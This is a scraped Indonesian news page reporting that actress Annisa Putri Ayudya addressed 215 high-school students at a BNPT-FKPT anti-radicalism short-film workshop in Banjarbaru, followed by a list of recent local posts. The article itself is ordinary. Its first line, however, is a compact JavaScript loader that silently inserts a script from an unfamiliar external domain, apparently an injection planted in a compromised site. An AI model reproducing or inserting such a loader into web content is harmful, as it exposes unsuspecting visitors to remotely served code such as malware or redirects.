(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Putri Ayudya Isi Workshop Film Pendek BNPT-FKPT di Banjarbaru


BANJARBARU, Aktris Annisa Putri Ayudya hadir sebagai pemateri di kegiatan worksop pembuatan film pendek Badan Nasional Penanggulangan Terorisme (BNPT)-Forum Koordinasi Pencegahan Terorisme (FKPT) di Banjarbaru, Rabu (11/7). Perempuan yang pernah menjadi finalis di ajang Puteri Indonesia 2011 tersebut sekaligus memotifasi kalangan pelajar untuk membuat karya terbaik.

Di hadapan 215 pelajar SMA dan sederajat yang menjadi peserta kegiatan, Annisa menyampaikan keikutsertaannya adalah wujud kemauan menjaga keutuhan Indonesia dari ancaman radikalisme dan terorisme. “Mengikuti kegiatan ini sebagai wujud rasa nasionalisme kita, dan ini adalah tentang rasa dan kemauan bagaimana generasi muda mencintai bangsanya,” ungkap Annisa.

Sebagai aktris yang telah membintangi berbagai film, Annisa menilai langkah BNPT dan FKPT menggelar workshop film pendek merupakan pilihan tepat dalam pencegahan radikalisme dan terorisme di kalangan pelajar. Apalagi nantinya juga aka nada lomba dengan pilihan tema ‘Menjadi Indonesia’, dianggap sesuai dengan kebutuhan dalam menyikapi persatuan dan kesatuan bangsa saat ini.

“Kalimantan Selatan daerah yang kaya keragaman. Kalian harus bisa menunjukkan, anggapan perbedaan adalah ancaman salah besar. Jangan biarkan persatuan dan kesatuan bangsa ini terkikis dan mengundang masuknya terorisme,” tegas Annisa.

Sementara Ketua FKPT Kalimantan Selatan, Hermansyah, menilai radikalisme dan terorisme akan tumbuh subur jika aksi degradasi terhadap pengamalan Pancasila, delegitimasi terhadap pemerintah dan praktik intoleransi terus dipertahankan. Generasi muda dinilai memiliki peran untuk melakukan pencegahan.

“BNPT sudah menyediakan wahananya, yaitu lomba video pendek. Kalian juga akan diberikan pembekalan bagaimana membuat video terbaik. Manfaatkan itu!” tandas Hermansyah.

Pria yang menjabat sebagai Asisten II bidang Ekonomi dan Pembangunan Sekretariat Daerah Pemprov Kalimantan Selatan tersebut juga menegaskan, perang melawan radikalisme dan terorisme harus dilakukan dengan dibarengi sinergitas seluruh elemen bangsa. Generasi muda adalah bagian yang tidak bisa ditinggalkan.

Kegiatan Workshop Lomba Video Pendek di Banjarbaru terlaksana atas kerjasama BNPT dan FKPT Kalimantan Selatan. Kegiatan yang sama sudah dan akan dilaksanakan di 32 provinsi se-Indonesia sepanjang tahun 2018. (rico/bnp)

Reporter : Rico/bnp
Editor : Chell>

Desy Arfianty

Recent Posts

Wali Kota Aditya Pilih Pertahankan Tugu Adipura, ATCS Jadi Mubazir?

KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More

40 menit ago

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

2 jam ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

4 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

4 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

5 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

5 jam ago

This website uses cookies.